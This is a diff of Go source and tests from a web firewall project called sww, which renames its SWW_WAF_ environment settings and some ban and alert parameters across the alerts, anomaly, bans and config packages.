// EventSummary is the summary sent as an hour ends: of the alerts held
|
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||||
// back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
|
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||||
// back by the cooldowns dropped as it ends, which no alert let through
|
// back by the cooldowns dropped as it ends, which no alert let through
|
||||||
// has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
|
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
|
||||||
// those repeats. SWW_WAF_ALERT_EVENTS does not name it.
|
// those repeats. SWW_ALERT_EVENTS does not name it.
|
||||||
EventSummary = "summary"
|
EventSummary = "summary"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
|
// Events returns every event SWW_ALERT_EVENTS can name, which is its
|
||||||
// default.
|
// default.
|
||||||
func Events() []string {
|
func Events() []string {
|
||||||
return []string{
|
return []string{
|
||||||
@@ -82,12 +82,12 @@ func Events() []string {
|
|||||||
// The destinations alerts are sent to, as the metrics and alerts.json
|
// The destinations alerts are sent to, as the metrics and alerts.json
|
||||||
// name them.
|
// name them.
|
||||||
const (
|
const (
|
||||||
// DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
|
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
|
||||||
DestinationWebhook = "webhook"
|
DestinationWebhook = "webhook"
|
||||||
// DestinationSlack is the Slack incoming webhook
|
// DestinationSlack is the Slack incoming webhook
|
||||||
// SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
|
// SWW_ALERT_SLACK_WEBHOOK_URL names.
|
||||||
DestinationSlack = "slack"
|
DestinationSlack = "slack"
|
||||||
// DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
|
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
|
||||||
DestinationNtfy = "ntfy"
|
DestinationNtfy = "ntfy"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -123,26 +123,26 @@ var (
|
|||||||
// NtfyURL set, no alert is sent.
|
// NtfyURL set, no alert is sent.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// WebhookURL is where each alert is posted as JSON
|
// WebhookURL is where each alert is posted as JSON
|
||||||
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||||
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
||||||
WebhookURL *url.URL
|
WebhookURL *url.URL
|
||||||
WebhookHeaders http.Header
|
WebhookHeaders http.Header
|
||||||
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
||||||
// message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||||
SlackURL *url.URL
|
SlackURL *url.URL
|
||||||
// NtfyURL is the ntfy topic each alert is published to
|
// NtfyURL is the ntfy topic each alert is published to
|
||||||
// (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||||
// empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
|
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
|
||||||
NtfyURL *url.URL
|
NtfyURL *url.URL
|
||||||
NtfyToken string
|
NtfyToken string
|
||||||
// Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
|
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
|
||||||
Events []string
|
Events []string
|
||||||
// Cooldown is how long a repeat of an alert is held back
|
// Cooldown is how long a repeat of an alert is held back
|
||||||
// (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||||
// sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
|
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||||
Cooldown time.Duration
|
Cooldown time.Duration
|
||||||
MaxPerHour int
|
MaxPerHour int
|
||||||
// Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
|
// Instance is SWW_INSTANCE_NAME, which every alert gives.
|
||||||
Instance string
|
Instance string
|
||||||
// Now tells the time of an alert, normally time.Now in UTC.
|
// Now tells the time of an alert, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -311,17 +311,17 @@ func New(params Params) *Queue {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if params.WebhookURL != nil {
|
if params.WebhookURL != nil {
|
||||||
q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
|
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
|
||||||
params.WebhookURL, q.webhookMessage)
|
params.WebhookURL, q.webhookMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
if params.SlackURL != nil {
|
if params.SlackURL != nil {
|
||||||
q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
|
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
|
||||||
params.SlackURL, slackMessage)
|
params.SlackURL, slackMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
if params.NtfyURL != nil {
|
if params.NtfyURL != nil {
|
||||||
q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
|
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
|
||||||
params.NtfyURL, q.ntfyMessage)
|
params.NtfyURL, q.ntfyMessage)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -329,7 +329,7 @@ func New(params Params) *Queue {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Raise sends alert, which names its event and what is particular to it,
|
// Raise sends alert, which names its event and what is particular to it,
|
||||||
// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
|
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
|
||||||
// out. It gives alert the instance and the time. An alert that repeats
|
// out. It gives alert the instance and the time. An alert that repeats
|
||||||
// the last one let through less than Cooldown before is held back and
|
// the last one let through less than Cooldown before is held back and
|
||||||
// counted. The next one let through gives that count, unless an hour of
|
// counted. The next one let through gives that count, unless an hour of
|
||||||
@@ -374,7 +374,7 @@ func (q *Queue) Raise(alert Alert) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WouldSend reports whether Raise would let an alert for event on
|
// WouldSend reports whether Raise would let an alert for event on
|
||||||
// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
|
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
|
||||||
// event, no alert for event on netblock was let through less than
|
// event, no alert for event on netblock was let through less than
|
||||||
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
||||||
// in the hour under way. Unlike Raise, it counts nothing.
|
// in the hour under way. Unlike Raise, it counts nothing.
|
||||||
@@ -627,14 +627,14 @@ func (q *Queue) endHour(now time.Time) {
|
|||||||
reasons = append(
|
reasons = append(
|
||||||
reasons,
|
reasons,
|
||||||
fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||||
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
|
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
|
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if repeats > 0 {
|
if repeats > 0 {
|
||||||
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
||||||
"SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
|
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(reasons) > 0 {
|
if len(reasons) > 0 {
|
||||||
|
|||||||
@@ -165,7 +165,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
|||||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||||
t.Error(
|
t.Error(
|
||||||
"a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out",
|
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -218,8 +218,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
|||||||
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
||||||
|
|
||||||
for setting, params := range map[string]alerts.Params{
|
for setting, params := range map[string]alerts.Params{
|
||||||
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||||
"SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
|
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||||
} {
|
} {
|
||||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
@@ -431,7 +431,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
"as_name": "",
|
"as_name": "",
|
||||||
"country": "",
|
"country": "",
|
||||||
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||||
"past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
|
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
|
||||||
"detail": map[string]any{
|
"detail": map[string]any{
|
||||||
"hour": started,
|
"hour": started,
|
||||||
"count": float64(3),
|
"count": float64(3),
|
||||||
@@ -631,7 +631,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
|
|||||||
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
||||||
|
|
||||||
if !strings.Contains(log.String(),
|
if !strings.Contains(log.String(),
|
||||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
|
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
|
||||||
t.Errorf("process log %q names no failure", log.String())
|
t.Errorf("process log %q names no failure", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -701,7 +701,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
|
|||||||
wantCounts(t, q, 1, 3, 0, 1)
|
wantCounts(t, q, 1, 3, 0, 1)
|
||||||
|
|
||||||
if !strings.Contains(log.String(),
|
if !strings.Contains(log.String(),
|
||||||
`"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
|
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
|
||||||
t.Errorf("process log %q names no alert given up", log.String())
|
t.Errorf("process log %q names no alert given up", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -724,10 +724,8 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(
|
if !strings.Contains(logged,
|
||||||
logged,
|
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`,
|
|
||||||
) ||
|
|
||||||
strings.Contains(
|
strings.Contains(
|
||||||
logged,
|
logged,
|
||||||
"alerts.example",
|
"alerts.example",
|
||||||
@@ -939,8 +937,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||||
"past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||||
"by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||||
|
|
||||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||||
wantNtfyMessage(
|
wantNtfyMessage(
|
||||||
@@ -1090,7 +1088,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(
|
if !strings.Contains(
|
||||||
logged,
|
logged,
|
||||||
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`,
|
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
|
||||||
) ||
|
) ||
|
||||||
strings.Contains(logged, "hooks.slack.example") ||
|
strings.Contains(logged, "hooks.slack.example") ||
|
||||||
strings.Contains(logged, "T0123") {
|
strings.Contains(logged, "T0123") {
|
||||||
@@ -1464,7 +1462,7 @@ type eventMessage struct {
|
|||||||
title, priorityAndTag, text string
|
title, priorityAndTag, text string
|
||||||
}
|
}
|
||||||
|
|
||||||
// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
|
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
|
||||||
// names, the first in observe mode, each with its message.
|
// names, the first in observe mode, each with its message.
|
||||||
func anAlertForEachEvent() []eventMessage {
|
func anAlertForEachEvent() []eventMessage {
|
||||||
return []eventMessage{
|
return []eventMessage{
|
||||||
|
|||||||
+14
-14
@@ -28,16 +28,16 @@ const maxCounters = 20000
|
|||||||
// alerts name them.
|
// alerts name them.
|
||||||
const (
|
const (
|
||||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
||||||
// SWW_WAF_IPV6_GROUP_PREFIX.
|
// SWW_IPV6_GROUP_PREFIX.
|
||||||
ScopeClient = "client"
|
ScopeClient = "client"
|
||||||
// ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
|
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
|
||||||
// or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
|
// or SWW_ANOMALY_NET_V6_PREFIX long.
|
||||||
ScopeNet = "net"
|
ScopeNet = "net"
|
||||||
// ScopeASN is an AS number.
|
// ScopeASN is an AS number.
|
||||||
ScopeASN = "asn"
|
ScopeASN = "asn"
|
||||||
// ScopeTotal is the whole service.
|
// ScopeTotal is the whole service.
|
||||||
ScopeTotal = "total"
|
ScopeTotal = "total"
|
||||||
// ScopeWatchedNet is a named netblock of SWW_WAF_ANOMALY_WATCHED_NETS.
|
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
|
||||||
ScopeWatchedNet = "watched_net"
|
ScopeWatchedNet = "watched_net"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -68,7 +68,7 @@ type Thresholds struct {
|
|||||||
BytesPerHour int64
|
BytesPerHour int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// NamedNetblock is a netblock SWW_WAF_ANOMALY_WATCHED_NETS names.
|
// NamedNetblock is a netblock SWW_WATCH_NETS names.
|
||||||
type NamedNetblock struct {
|
type NamedNetblock struct {
|
||||||
Name string
|
Name string
|
||||||
Netblock netip.Prefix
|
Netblock netip.Prefix
|
||||||
@@ -76,14 +76,14 @@ type NamedNetblock struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
|
||||||
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
|
||||||
// SWW_WAF_ANOMALY_WATCHED_NET_*.
|
// SWW_WATCH_*.
|
||||||
Client, Net, ASN, Total, WatchedNet Thresholds
|
Client, Net, ASN, Total, Watch Thresholds
|
||||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||||
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
|
||||||
NetV4Prefix, NetV6Prefix int
|
NetV4Prefix, NetV6Prefix int
|
||||||
// NamedNetblocks are SWW_WAF_ANOMALY_WATCHED_NETS.
|
// NamedNetblocks are SWW_WATCH_NETS.
|
||||||
NamedNetblocks []NamedNetblock
|
NamedNetblocks []NamedNetblock
|
||||||
// Alerts receive the anomaly alerts.
|
// Alerts receive the anomaly alerts.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
@@ -113,13 +113,13 @@ type Request struct {
|
|||||||
Host string
|
Host string
|
||||||
// Client is the client's address, and ClientGroup the client it is
|
// Client is the client's address, and ClientGroup the client it is
|
||||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
// counted as: its IPv4 address, or the IPv6 netblock of
|
||||||
// SWW_WAF_IPV6_GROUP_PREFIX its address is in.
|
// SWW_IPV6_GROUP_PREFIX its address is in.
|
||||||
Client netip.Addr
|
Client netip.Addr
|
||||||
ClientGroup netip.Prefix
|
ClientGroup netip.Prefix
|
||||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||||
// unknown.
|
// unknown.
|
||||||
ASN, ASName, Country string
|
ASN, ASName, Country string
|
||||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNTED counts them.
|
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
|
||||||
Bytes int64
|
Bytes int64
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -271,7 +271,7 @@ func (c *Counters) scopesOf(r Request) []scope {
|
|||||||
scope: ScopeWatchedNet,
|
scope: ScopeWatchedNet,
|
||||||
netblock: named.Netblock,
|
netblock: named.Netblock,
|
||||||
name: named.Name,
|
name: named.Name,
|
||||||
}, p.WatchedNet,
|
}, p.Watch,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
|
|||||||
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
|
||||||
counters := anomaly.New(anomaly.Params{
|
counters := anomaly.New(anomaly.Params{
|
||||||
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
|
||||||
Total: overAtTheSecond, WatchedNet: overAtTheSecond,
|
Total: overAtTheSecond, Watch: overAtTheSecond,
|
||||||
// The netblock around a client is the client's own, and two names
|
// The netblock around a client is the client's own, and two names
|
||||||
// name one netblock.
|
// name one netblock.
|
||||||
NetV4Prefix: 32,
|
NetV4Prefix: 32,
|
||||||
|
|||||||
+12
-12
@@ -1,6 +1,6 @@
|
|||||||
// Package bans is the ban ledger: the bans sww makes on the
|
// Package bans is the ban ledger: the bans sww makes on the
|
||||||
// netblocks of clients that break a rate limit, a byte limit or the refusal
|
// netblocks of clients that break a rate limit, a byte limit or the error
|
||||||
// limit, show a clear sign of attack or are listed by the CrowdSec
|
// burst, show a clear sign of attack or are listed by the CrowdSec
|
||||||
// decision list, and
|
// decision list, and
|
||||||
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
|
||||||
// describes. The bans are kept in memory, and written to bans.json and
|
// describes. The bans are kept in memory, and written to bans.json and
|
||||||
@@ -49,9 +49,9 @@ type Params struct {
|
|||||||
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
// CrowdSec's decision, a broken limit counts as a repeat, which bans for
|
||||||
// repeatFactor times as long as that ban.
|
// repeatFactor times as long as that ban.
|
||||||
LimitBanRepeatWindow time.Duration
|
LimitBanRepeatWindow time.Duration
|
||||||
// A ban for a broken limit that would be longer than
|
// MaxBanDuration is the longest ban for a broken limit; one that would
|
||||||
// LimitBanPermanentAbove is permanent instead.
|
// be longer is permanent instead.
|
||||||
LimitBanPermanentAbove time.Duration
|
MaxBanDuration time.Duration
|
||||||
// AttackBanDuration is how long a first ban for a clear sign of attack
|
// AttackBanDuration is how long a first ban for a clear sign of attack
|
||||||
// lasts.
|
// lasts.
|
||||||
AttackBanDuration time.Duration
|
AttackBanDuration time.Duration
|
||||||
@@ -105,7 +105,7 @@ type Notes struct {
|
|||||||
Country string `json:"country"`
|
Country string `json:"country"`
|
||||||
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
// Kind, Limit, Window and Count are, for a ban for a broken limit,
|
||||||
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
// what the limit was on, "requests" for a rate limit, "bytes" for a
|
||||||
// byte limit or "refusals" for the refusal limit, the limit that was
|
// byte limit or "refusals" for the error burst, the limit that was
|
||||||
// broken, its window, "minute", "hour" or "day", and the count reached:
|
// broken, its window, "minute", "hour" or "day", and the count reached:
|
||||||
// the client's requests, bytes or refusals in the window, those of the
|
// the client's requests, bytes or refusals in the window, those of the
|
||||||
// request that broke the limit included.
|
// request that broke the limit included.
|
||||||
@@ -123,7 +123,7 @@ type Notes struct {
|
|||||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
// of the rule file rule that matched, and its target; TrapPath is, for
|
||||||
// one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
|
// one for a request for a path in SWW_TRAP_PATHS, that path as the
|
||||||
// client sent it.
|
// client sent it.
|
||||||
RuleID string `json:"rule_id,omitempty"`
|
RuleID string `json:"rule_id,omitempty"`
|
||||||
Target string `json:"target,omitempty"`
|
Target string `json:"target,omitempty"`
|
||||||
@@ -199,7 +199,7 @@ type Ledger struct {
|
|||||||
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
||||||
// netblocks that have been banned. Check looks for a ban at each of
|
// netblocks that have been banned. Check looks for a ban at each of
|
||||||
// them, so that a ban read from bans.json refuses every client in its
|
// them, so that a ban read from bans.json refuses every client in its
|
||||||
// netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
|
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
|
||||||
// or another length of an IPv6 client's netblock.
|
// or another length of an IPv6 client's netblock.
|
||||||
v4Lengths, v6Lengths []int
|
v4Lengths, v6Lengths []int
|
||||||
}
|
}
|
||||||
@@ -306,7 +306,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
// last, other than one for a clear sign of attack or for CrowdSec's
|
// last, other than one for a clear sign of attack or for CrowdSec's
|
||||||
// decision, or a lifted one, lasts
|
// decision, or a lifted one, lasts
|
||||||
// repeatFactor times as long as that one. A ban that would be longer
|
// repeatFactor times as long as that one. A ban that would be longer
|
||||||
// than LimitBanPermanentAbove is permanent instead. If a ban on netblock is still
|
// than MaxBanDuration is permanent instead. If a ban on netblock is still
|
||||||
// active, as when two of its requests break a limit at once, that ban is
|
// active, as when two of its requests break a limit at once, that ban is
|
||||||
// returned with false, and no other is made. The ledger fills in the
|
// returned with false, and no other is made. The ledger fills in the
|
||||||
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
// notes' Refused and EarlierBans itself, and gives the ban the reason
|
||||||
@@ -932,16 +932,16 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
if last != nil &&
|
if last != nil &&
|
||||||
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||||
lastLength := last.Expires.Sub(last.Start)
|
lastLength := last.Expires.Sub(last.Start)
|
||||||
// This is repeatFactor * lastLength > LimitBanPermanentAbove, written so
|
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||||
// that it cannot overflow.
|
// that it cannot overflow.
|
||||||
if lastLength > l.params.LimitBanPermanentAbove/repeatFactor {
|
if lastLength > l.params.MaxBanDuration/repeatFactor {
|
||||||
return time.Time{}
|
return time.Time{}
|
||||||
}
|
}
|
||||||
|
|
||||||
length = repeatFactor * lastLength
|
length = repeatFactor * lastLength
|
||||||
}
|
}
|
||||||
|
|
||||||
if length > l.params.LimitBanPermanentAbove {
|
if length > l.params.MaxBanDuration {
|
||||||
return time.Time{}
|
return time.Time{}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -97,11 +97,11 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour
|
params.LimitBanDuration = params.MaxBanDuration + time.Hour
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
|
|
||||||
ban, _ := ledger.BanForLimit(
|
ban, _ := ledger.BanForLimit(
|
||||||
@@ -114,14 +114,14 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||||
// 3^13 hours, is not above it, and three times as long would not fit in
|
// hours, is within the maximum, and three times as long would not fit
|
||||||
// a time.Duration. The 15th is permanent.
|
// in a time.Duration. The 15th is permanent.
|
||||||
params := defaultParams()
|
params := defaultParams()
|
||||||
params.LimitBanPermanentAbove = 100000 * day
|
params.MaxBanDuration = 100000 * day
|
||||||
ledger := bans.New(params)
|
ledger := bans.New(params)
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
now := midnight()
|
now := midnight()
|
||||||
@@ -652,7 +652,7 @@ func defaultParams() bans.Params {
|
|||||||
return bans.Params{
|
return bans.Params{
|
||||||
LimitBanDuration: time.Hour,
|
LimitBanDuration: time.Hour,
|
||||||
LimitBanRepeatWindow: day,
|
LimitBanRepeatWindow: day,
|
||||||
LimitBanPermanentAbove: 7 * day,
|
MaxBanDuration: 7 * day,
|
||||||
AttackBanDuration: 7 * day,
|
AttackBanDuration: 7 * day,
|
||||||
MaxBans: 5000,
|
MaxBans: 5000,
|
||||||
}
|
}
|
||||||
|
|||||||
+14
-54
@@ -1,9 +1,10 @@
|
|||||||
// Package config reads sww's settings, and is the one place they are
|
// Package config reads sww's settings, and is the one place they are
|
||||||
// read. Every setting is an environment variable. The settings of `sww
|
// read. Every setting is an environment variable. The settings of `sww
|
||||||
// waf` start with SWW_WAF_, every one of them has a default, and most can be
|
// waf` start with SWW_, every one of them has a default, and most can be
|
||||||
// given as a file instead. Those of `sww rproxy` start with SWW_RPROXY_. Each
|
// given as a file instead. Those of `sww rproxy` start with SWRP_. Each
|
||||||
// of them but SWW_RPROXY_WAF_BACKEND has a default, and each can be given as a file
|
// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file,
|
||||||
// too. SWW_COMMAND chooses which of the two the image runs.
|
// since rproxy never touches disk. SWW_COMMAND chooses which of the two
|
||||||
|
// the image runs.
|
||||||
package config
|
package config
|
||||||
|
|
||||||
import (
|
import (
|
||||||
